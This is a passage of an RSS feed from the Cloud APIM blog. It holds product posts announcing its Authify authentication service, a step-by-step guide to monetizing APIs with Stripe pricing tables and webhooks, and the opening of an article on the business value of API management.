&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/serverless&quot;&gt;&lt;strong&gt;Serverless&lt;/strong&gt;&lt;/a&gt; enables scalable deployments without infrastructure management.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/wasmo&quot;&gt;&lt;strong&gt;Wasmo&lt;/strong&gt;&lt;/a&gt; brings lightweight &lt;a href=&quot;https://webassembly.org/&quot;&gt;WebAssembly&lt;/a&gt; execution.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/authify&quot;&gt;&lt;strong&gt;Authify&lt;/strong&gt;&lt;/a&gt; simplifies authentication with quick and secure integration.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 256px) 256px, 100vw&quot; width=&quot;256&quot; height=&quot;256&quot; src=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp 256w&quot;&gt;&lt;/p&gt;</content:encoded><dc:creator>Thomas Delafaye</dc:creator><dc:language>en</dc:language><category>LLM</category><category>AI gateway</category><category>API gateway</category><category>API management</category><category>Cloud APIM</category><enclosure url="https://blog.cloud-apim.com/_astro/cover.GHTvZohq_2jXzuq.jpg" length="0" type="image/jpeg"/></item><item><title>🚀 Introducing Cloud APIM Authify - Instantly Integrate a Complete Authentication Solution with Zero Hassle</title><link>https://blog.cloud-apim.com/introducing-authify</link><guid isPermaLink="true">https://blog.cloud-apim.com/introducing-authify</guid><description>Discover Cloud APIM Authify, the fast and easy authentication solution for your websites and applications.</description><pubDate>Thu, 17 Oct 2024 08:09:54 GMT</pubDate><content:encoded>&lt;p&gt;Managing authentication for your websites and apps can be time-consuming and complex.&lt;/p&gt;
&lt;p&gt;That’s where &lt;strong&gt;Cloud APIM Authify&lt;/strong&gt; comes in 🤩&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Authify&lt;/strong&gt; is an all-in-one, easy-to-use authentication solution that enables you to securely manage user access to your applications without spending hours or days on configuration.&lt;/p&gt;
&lt;p&gt;Whether you’re working with web applications, mobile apps, or cloud-based services, Authify streamlines the process of setting up secure user authentication.&lt;/p&gt;
&lt;p&gt;Our innovative tool allows you to quickly integrate secure authentication into your projects without the hassle.&lt;/p&gt;
&lt;h3 id=&quot;-what-is-cloud-apim-authify-&quot;&gt;&lt;strong&gt;🤔 What is Cloud APIM Authify ?&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Cloud APIM Authify&lt;/strong&gt; is a simple yet powerful authentication solution that supports industry standards like &lt;strong&gt;OAuth 2.0&lt;/strong&gt; and &lt;strong&gt;OpenID Connect&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;With just a few clicks, you can secure your applications and manage user access with ease.&lt;/p&gt;
&lt;h3 id=&quot;-key-features&quot;&gt;&lt;strong&gt;🔑 Key Features&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Instant Setup&lt;/strong&gt;: Add authentication in minutes, not days! ⏱️&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Scalable Security&lt;/strong&gt;: Perfect for both small apps and enterprise-level projects. 🔐&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Role-Based Access Control&lt;/strong&gt;: Easily manage user roles and permissions. 🎯&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;-why-choosing-authify-&quot;&gt;&lt;strong&gt;👀 Why Choosing Authify ?&lt;/strong&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Fast, Easy Integration&lt;/strong&gt; – Get started with no hassle.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;User-Friendly Dashboard&lt;/strong&gt; – Control your authentication settings effortlessly.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Secure and Scalable&lt;/strong&gt; – Protect your users without compromising performance.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;-try-authify-beta-now&quot;&gt;&lt;strong&gt;🚀 Try Authify Beta Now&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Experience the future of authentication with &lt;strong&gt;Authify Beta&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Set up secure access in seconds and streamline your app development.&lt;/p&gt;
&lt;p&gt;👉 &lt;a href=&quot;https://cloud-apim.com/authify&quot;&gt;&lt;strong&gt;Join the beta&lt;/strong&gt;&lt;/a&gt; today and simplify authentication for all your projects !&lt;/p&gt;
&lt;h3 id=&quot;-stay-connected&quot;&gt;&lt;strong&gt;📡 Stay Connected&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Follow our blog for the latest updates, tips, and best practices for &lt;strong&gt;Cloud APIM Authify&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id=&quot;-about-cloud-apim&quot;&gt;&lt;strong&gt;🏢 About Cloud APIM&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/&quot;&gt;Cloud APIM&lt;/a&gt; provides &lt;a href=&quot;https://console.cloud-apim.com/deployments&quot;&gt;cutting-edge, managed solutions for API management&lt;/a&gt;, enabling businesses to leverage the full power of their APIs with ease and efficiency. Our commitment to innovation and excellence drives us to offer &lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;the most advanced tools&lt;/a&gt; and &lt;a href=&quot;https://console.cloud-apim.com/wasmo_deployments&quot;&gt;services&lt;/a&gt; to our customers, empowering them to achieve their digital transformation goals.&lt;/p&gt;
&lt;h3 id=&quot;cloud-apim-products&quot;&gt;Cloud APIM Products&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/&quot;&gt;&lt;strong&gt;Otoroshi Managed Instances&lt;/strong&gt;&lt;/a&gt; &lt;strong&gt;:&lt;/strong&gt; Fully managed &lt;a href=&quot;https://maif.github.io/otoroshi/manual/about.html&quot;&gt;Otoroshi&lt;/a&gt; clusters, perfectly configured and optimized, ready in seconds&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/serverless&quot;&gt;&lt;strong&gt;Serverless&lt;/strong&gt;&lt;/a&gt; enables scalable deployments without infrastructure management.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/wasmo&quot;&gt;&lt;strong&gt;Wasmo&lt;/strong&gt;&lt;/a&gt; brings lightweight &lt;a href=&quot;https://webassembly.org/&quot;&gt;WebAssembly&lt;/a&gt; execution.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/authify&quot;&gt;&lt;strong&gt;Authify&lt;/strong&gt;&lt;/a&gt; simplifies authentication with quick and secure integration.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 256px) 256px, 100vw&quot; width=&quot;256&quot; height=&quot;256&quot; src=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp 256w&quot;&gt;&lt;/p&gt;</content:encoded><dc:creator>Thomas Delafaye</dc:creator><dc:language>en</dc:language><category>Authify</category><category>Cloud APIM</category><category>Authentication</category><category>OpenID Connect</category><category>OIDC</category><enclosure url="https://blog.cloud-apim.com/_astro/cover.BTJ6FRtz_1CLJUg.jpg" length="0" type="image/jpeg"/></item><item><title>💸 Unlocking Revenue : Efficiently Monetize Your API with Cloud APIM Serverless</title><link>https://blog.cloud-apim.com/unlocking-revenue-efficiently-monetize-your-api-with-cloud-apim-serverless</link><guid isPermaLink="true">https://blog.cloud-apim.com/unlocking-revenue-efficiently-monetize-your-api-with-cloud-apim-serverless</guid><description>💡 Looking to boost your company’s revenue by seamlessly monetizing your APIs? 💸 With Cloud APIM Serverless, you can easily transform your APIs into a…</description><pubDate>Thu, 12 Sep 2024 13:23:35 GMT</pubDate><content:encoded>&lt;p&gt;APIs are not just tools for integration but also valuable products that can generate significant revenue.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt; helps you to monetize your APIs, allowing you to focus on innovation while maximizing profitability.&lt;/p&gt;
&lt;p&gt;In this blog post, we’ll guide you through the process of setting up easy monetization for your API using &lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id=&quot;-why-monetizing-your-api-&quot;&gt;&lt;strong&gt;💡 Why Monetizing Your API ?&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Generate Revenue :&lt;/strong&gt; Turn your API into a revenue stream by offering paid access.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Promote Innovation :&lt;/strong&gt; Encourage developers to build on your platform by providing high-quality, premium features.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Control Usage :&lt;/strong&gt; Implement usage tiers and rate limits to ensure fair and optimal resource utilization.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;-getting-started-with-api-monetization&quot;&gt;&lt;strong&gt;🚀 Getting Started with API Monetization&lt;/strong&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Sign Up on Cloud APIM Serverless:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Before setting up monetization, ensure you have created a project on &lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;If you haven’t created one yet, follow these steps:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Log in to your &lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;Cloud APIM Serverless dashboard&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Click on &lt;em&gt;“New project”&lt;/em&gt; and fill in your project name.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Set Up your Billing Plans:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Navigate to the &lt;em&gt;Developer portal&lt;/em&gt; section in your API settings.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Click on &lt;em&gt;Dev portal Plans&lt;/em&gt; and configure your plans.&lt;/p&gt;
&lt;p&gt;For this example let’s create 3 plans :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Silver Tier:&lt;/strong&gt; Offer basic access with limited usage.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Gold Tier:&lt;/strong&gt; Provide additional features and higher usage limits for a fee.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Diamond Tier :&lt;/strong&gt; Get all features included in Silver &amp;#x26; Gold and much more.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Configure Stripe Integration :&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Create an account on Stripe (&lt;a href=&quot;https://stripe.com/&quot;&gt;https://stripe.com/&lt;/a&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Go to your Dashboard and create your products (Silver, Gold and Diamond) as we took for our example.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Create a Pricing table and add your 3 products into the table.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 3202px) 3202px, 100vw&quot; width=&quot;3202&quot; height=&quot;1456&quot; src=&quot;https://blog.cloud-apim.com/_astro/01-4746a0.CoVZOQvR_ZpI3eD.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/01-4746a0.CoVZOQvR_ON6Pk.webp 640w, https://blog.cloud-apim.com/_astro/01-4746a0.CoVZOQvR_Z1nMItR.webp 750w, https://blog.cloud-apim.com/_astro/01-4746a0.CoVZOQvR_2gcaPk.webp 828w, https://blog.cloud-apim.com/_astro/01-4746a0.CoVZOQvR_ZbIyRB.webp 1080w, https://blog.cloud-apim.com/_astro/01-4746a0.CoVZOQvR_2eWdb.webp 1280w, https://blog.cloud-apim.com/_astro/01-4746a0.CoVZOQvR_JehJW.webp 1668w, https://blog.cloud-apim.com/_astro/01-4746a0.CoVZOQvR_1g8Qom.webp 2048w, https://blog.cloud-apim.com/_astro/01-4746a0.CoVZOQvR_1kArkd.webp 2560w, https://blog.cloud-apim.com/_astro/01-4746a0.CoVZOQvR_ZpI3eD.webp 3202w&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Then, click on &lt;em&gt;Continue&lt;/em&gt; and go to &lt;em&gt;Payment Page&lt;/em&gt; step&lt;/p&gt;
&lt;p&gt;For each product choose &lt;em&gt;&lt;strong&gt;Don’t show Confirmation page&lt;/strong&gt;&lt;/em&gt; and put your link such as &lt;a href=&quot;https://my-project-domain.cloud-apim.dev/docs/subloading?session_id=%7BCHECKOUT_SESSION_ID%7D&quot;&gt;https://my-project-domain.cloud-apim.dev/docs/subloading?session_id={CHECKOUT_SESSION_ID}&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Replace the domain name by your Serverless project domain&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;![](&lt;a href=&quot;https://www.cloud-apim.com/serverless/documentation/assets/images/stripe-pricing-table-change-redirect-uri-4c3e73b928be2ad7f005de508d1f45e7.png&quot;&gt;https://www.cloud-apim.com/serverless/documentation/assets/images/stripe-pricing-table-change-redirect-uri-4c3e73b928be2ad7f005de508d1f45e7.png&lt;/a&gt; align=“left”)&lt;/p&gt;
&lt;p&gt;![](&lt;a href=&quot;https://www.cloud-apim.com/serverless/documentation/assets/images/stripe-pricing-table-change-redirect-uri-foreach-ccc10e870e0ceea53c6b967c4dd59c81.png&quot;&gt;https://www.cloud-apim.com/serverless/documentation/assets/images/stripe-pricing-table-change-redirect-uri-foreach-ccc10e870e0ceea53c6b967c4dd59c81.png&lt;/a&gt; align=“left”)&lt;/p&gt;
&lt;p&gt;Once you’ve configured all your plans into your pricing table you can click on &lt;em&gt;Finish&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;![](&lt;a href=&quot;https://www.cloud-apim.com/serverless/documentation/assets/images/stripe-pricing-table-finish-step-ac46e2c8967184448f25540b6469f26d.png&quot;&gt;https://www.cloud-apim.com/serverless/documentation/assets/images/stripe-pricing-table-finish-step-ac46e2c8967184448f25540b6469f26d.png&lt;/a&gt; align=“left”)&lt;/p&gt;
&lt;p&gt;Now, copy your &lt;strong&gt;STRIPE_PRICING_TABLE_ID&lt;/strong&gt; you’ll set it up into your environment variables right after.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;![](&lt;a href=&quot;https://www.cloud-apim.com/serverless/documentation/assets/images/stripe-pricing-table-settings-a9157ae16d48d7220a560b3c5114179d.png&quot;&gt;https://www.cloud-apim.com/serverless/documentation/assets/images/stripe-pricing-table-settings-a9157ae16d48d7220a560b3c5114179d.png&lt;/a&gt; align=“left”)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Configure Stripe Webhooks&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Go to your &lt;a href=&quot;https://dashboard.stripe.com/developers&quot;&gt;Stripe Dashboard Developers&lt;/a&gt; and select &lt;em&gt;Webhooks tab.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Click on &lt;em&gt;+ add enpoint&lt;/em&gt; and fill in the form as shown below :&lt;/p&gt;
&lt;p&gt;![](&lt;a href=&quot;https://www.cloud-apim.com/serverless/documentation/assets/images/webhook-form-1a60ae0ff1fcaa58d1229a121cd2fe9e.png&quot;&gt;https://www.cloud-apim.com/serverless/documentation/assets/images/webhook-form-1a60ae0ff1fcaa58d1229a121cd2fe9e.png&lt;/a&gt; align=“left”)&lt;/p&gt;
&lt;p&gt;Put &lt;a href=&quot;https://hooks.cloud-apim.com/serverless/stripe&quot;&gt;&lt;code&gt;https://hooks.cloud-apim.com/serverless/stripe&lt;/code&gt;&lt;/a&gt; as endpoint url&lt;/p&gt;
&lt;p&gt;![](&lt;a href=&quot;https://www.cloud-apim.com/serverless/documentation/assets/images/webhook-form-select-events-60496453a84d4fefa2bdc7055433e921.png&quot;&gt;https://www.cloud-apim.com/serverless/documentation/assets/images/webhook-form-select-events-60496453a84d4fefa2bdc7055433e921.png&lt;/a&gt; align=“left”)&lt;/p&gt;
&lt;p&gt;At the bottom of the form in the section &lt;code&gt;Select events to listen to&lt;/code&gt; please select those events :&lt;/p&gt;
&lt;p&gt;&lt;code&gt;customer.subscription.deleted&lt;/code&gt;, &lt;code&gt;customer.subscription.updated&lt;/code&gt; and &lt;code&gt;checkout.session.completed&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;![](&lt;a href=&quot;https://www.cloud-apim.com/serverless/documentation/assets/images/webhook-form-completed-f82a72d1cbd1da9071ccdc31b34b932f.png&quot;&gt;https://www.cloud-apim.com/serverless/documentation/assets/images/webhook-form-completed-f82a72d1cbd1da9071ccdc31b34b932f.png&lt;/a&gt; align=“left”)&lt;/p&gt;
&lt;p&gt;You have now configured with success your project. Click on &lt;em&gt;Add endpoint&lt;/em&gt; to save your changes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Manage your environment variables&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Go back to your Cloud APIM Serverless project and set up the 3 required $.env.variables for your project.&lt;/p&gt;
&lt;p&gt;You need to set up 3 environment variables &lt;code&gt;STRIPE_PRICING_TABLE_ID&lt;/code&gt;, &lt;code&gt;STRIPE_PUB_KEY&lt;/code&gt; and &lt;code&gt;STRIPE_SECRET_KEY&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;To do it, follow the screenshots below&lt;/p&gt;
&lt;p&gt;![](&lt;a href=&quot;https://www.cloud-apim.com/serverless/documentation/assets/images/stripe-display-env-var-2a181ba499ee40d1ca0b4b99ca2b9ba9.png&quot;&gt;https://www.cloud-apim.com/serverless/documentation/assets/images/stripe-display-env-var-2a181ba499ee40d1ca0b4b99ca2b9ba9.png&lt;/a&gt; align=“left”)&lt;/p&gt;
&lt;p&gt;![](&lt;a href=&quot;https://www.cloud-apim.com/serverless/documentation/assets/images/stripe-env-add-var-c55f7685dd061af5a04f824bff5f08a5.png&quot;&gt;https://www.cloud-apim.com/serverless/documentation/assets/images/stripe-env-add-var-c55f7685dd061af5a04f824bff5f08a5.png&lt;/a&gt; align=“left”)&lt;/p&gt;
&lt;p&gt;![](&lt;a href=&quot;https://www.cloud-apim.com/serverless/documentation/assets/images/stripe-fill-env-var-8e6060fa0e79d2e32b0a1e6765721b12.png&quot;&gt;https://www.cloud-apim.com/serverless/documentation/assets/images/stripe-fill-env-var-8e6060fa0e79d2e32b0a1e6765721b12.png&lt;/a&gt; align=“left”)&lt;/p&gt;
&lt;p&gt;Now, save your new variable and repeat the process for the other variables.&lt;/p&gt;
&lt;p&gt;![](&lt;a href=&quot;https://www.cloud-apim.com/serverless/documentation/assets/images/stripe-fill-env-var-result-6b87b9b1939eaf8a8fb6abd64ac4406a.png&quot;&gt;https://www.cloud-apim.com/serverless/documentation/assets/images/stripe-fill-env-var-result-6b87b9b1939eaf8a8fb6abd64ac4406a.png&lt;/a&gt; align=“left”)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Configure your developer portal&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Well, we are close to the end of our configuration !&lt;/p&gt;
&lt;p&gt;You just need to configure your portal by enabling the monetization and setting up your different plans.&lt;/p&gt;
&lt;p&gt;In the developer portal editor just paste the following code :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;json&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&quot;monetisation&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    &quot;enabled&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    &quot;provider&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;stripe&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    &quot;config&quot;&lt;/span&gt;&lt;span&gt; : {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      &quot;pricing_table_id&quot;&lt;/span&gt;&lt;span&gt; : &lt;/span&gt;&lt;span&gt;&quot;${environment.STRIPE_PRICING_TABLE_ID}&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      &quot;pub_key&quot;&lt;/span&gt;&lt;span&gt; : &lt;/span&gt;&lt;span&gt;&quot;${environment.STRIPE_PUB_KEY}&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      &quot;secret_key&quot;&lt;/span&gt;&lt;span&gt; : &lt;/span&gt;&lt;span&gt;&quot;${environment.STRIPE_SECRET_KEY}&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    } &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt; }&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Follow the procedure : &lt;a href=&quot;https://www.cloud-apim.com/serverless/documentation/docs/Monetisation/portal-conf&quot;&gt;https://www.cloud-apim.com/serverless/documentation/docs/Monetisation/portal-conf&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;-benefits-of-monetizing-with-cloud-apim-serverless&quot;&gt;&lt;strong&gt;🌟 Benefits of Monetizing with Cloud APIM Serverless&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Streamlined Setup:&lt;/strong&gt; Easily configure billing plans and payment integration without extensive coding.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Scalable Solutions:&lt;/strong&gt; Scale your API monetization strategy as your user base grows.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Comprehensive Analytics:&lt;/strong&gt; Gain insights into API usage and revenue through detailed analytics and reporting.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Secure Transactions:&lt;/strong&gt; Ensure secure payment processing with trusted payment gateways.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Enhanced Developer Experience:&lt;/strong&gt; Provide a user-friendly developer portal that simplifies subscription management and API access.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;documentation&quot;&gt;&lt;strong&gt;Documentation&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;For more help let’s check out our documentation about monetization &lt;a href=&quot;https://www.cloud-apim.com/serverless/documentation/docs/category/add-monetisation&quot;&gt;https://www.cloud-apim.com/serverless/documentation/docs/category/add-monetisation&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;-conclusion&quot;&gt;&lt;strong&gt;🎉 Conclusion&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Monetizing your API with &lt;a href=&quot;https://www.cloud-apim.com/serverless&quot;&gt;&lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt;&lt;/a&gt; is a straightforward and effective way to unlock new revenue streams while providing value to your users.&lt;/p&gt;
&lt;p&gt;By leveraging the platform’s robust monetization features, you can set up billing plans, manage subscriptions, and handle payments with ease.&lt;/p&gt;
&lt;p&gt;Start monetizing your API today and turn your innovation into income with &lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt; !&lt;/p&gt;
&lt;h3 id=&quot;-get-started-now&quot;&gt;&lt;strong&gt;🚀 Get Started Now&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Ready to get started with &lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt; ?&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/serverless&quot;&gt;&lt;strong&gt;Sign up now&lt;/strong&gt;&lt;/a&gt; and take the first step towards secure and efficient &lt;strong&gt;API management&lt;/strong&gt; !&lt;/p&gt;
&lt;h3 id=&quot;-stay-connected&quot;&gt;&lt;strong&gt;📡 Stay Connected&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Follow our blog for the latest updates, tips, and best practices for &lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt; and &lt;strong&gt;API management&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id=&quot;-about-cloud-apim&quot;&gt;&lt;strong&gt;🏢 About Cloud APIM&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/&quot;&gt;Cloud APIM&lt;/a&gt; provides &lt;a href=&quot;https://console.cloud-apim.com/deployments&quot;&gt;cutting-edge, managed solutions for API management&lt;/a&gt;, enabling businesses to leverage the full power of their APIs with ease and efficiency. Our commitment to innovation and excellence drives us to offer &lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;the most advanced tools&lt;/a&gt; and &lt;a href=&quot;https://console.cloud-apim.com/wasmo_deployments&quot;&gt;services&lt;/a&gt; to our customers, empowering them to achieve their digital transformation goals.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 256px) 256px, 100vw&quot; width=&quot;256&quot; height=&quot;256&quot; src=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp 256w&quot;&gt;&lt;/p&gt;</content:encoded><dc:creator>Thomas Delafaye</dc:creator><dc:language>en</dc:language><category>API management</category><category>Cloud APIM</category><category>API gateway</category><category>Monetization</category><category>Otoroshi</category><enclosure url="https://blog.cloud-apim.com/_astro/cover.Cb13gkm3_Z1L9xFe.jpg" length="0" type="image/jpeg"/></item><item><title>✨ Why API Management is Crucial for Your Business ? 📈</title><link>https://blog.cloud-apim.com/why-api-management-is-crucial-for-your-business</link><guid isPermaLink="true">https://blog.cloud-apim.com/why-api-management-is-crucial-for-your-business</guid><description>In today’s fast-paced digital world, APIs are the backbone of modern software development. APIs enable different software systems to communicate with each other, fostering innovation and streamlining processes. However, managing these APIs…</description><pubDate>Tue, 16 Jul 2024 07:23:25 GMT</pubDate><content:encoded>&lt;p&gt;In today’s fast-paced digital world, &lt;strong&gt;APIs&lt;/strong&gt; are the &lt;strong&gt;backbone&lt;/strong&gt; of modern software development.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;APIs&lt;/strong&gt; enable different software systems to communicate with each other, fostering innovation and streamlining processes.&lt;/p&gt;
&lt;p&gt;However, managing these APIs effectively is &lt;strong&gt;essential&lt;/strong&gt; for &lt;strong&gt;businesses&lt;/strong&gt; to harness their full potential.&lt;/p&gt;
&lt;p&gt;This is where &lt;strong&gt;API management&lt;/strong&gt; comes into play.&lt;/p&gt;
&lt;p&gt;In this article, we’ll explore why API management is &lt;strong&gt;crucial&lt;/strong&gt; for your business and how it can drive &lt;strong&gt;success&lt;/strong&gt;.&lt;/p&gt;
&lt;h1 id=&quot;️-enhanced-security&quot;&gt;🛡️ Enhanced Security&lt;/h1&gt;
&lt;h3 id=&quot;protect-your-data-and-systems&quot;&gt;Protect Your Data and Systems&lt;/h3&gt;
&lt;p&gt;Security is a top priority for any business, especially when dealing with APIs that expose critical data and services.&lt;/p&gt;
&lt;p&gt;API management provides robust security measures such as authentication, authorization, encryption, and threat detection.&lt;/p&gt;
&lt;p&gt;By implementing these controls, businesses can protect their data from unauthorized access and cyber threats.&lt;/p&gt;
&lt;h3 id=&quot;security---example-&quot;&gt;Security - Example :&lt;/h3&gt;
&lt;p&gt;For instance, OAuth2 is a common authorization framework used in API management to ensure that only authenticated users can access specific resources.&lt;/p&gt;
&lt;p&gt;This prevents unauthorized access and keeps sensitive information secure.&lt;/p&gt;
&lt;h1 id=&quot;-improved-performance&quot;&gt;⚡ Improved Performance&lt;/h1&gt;
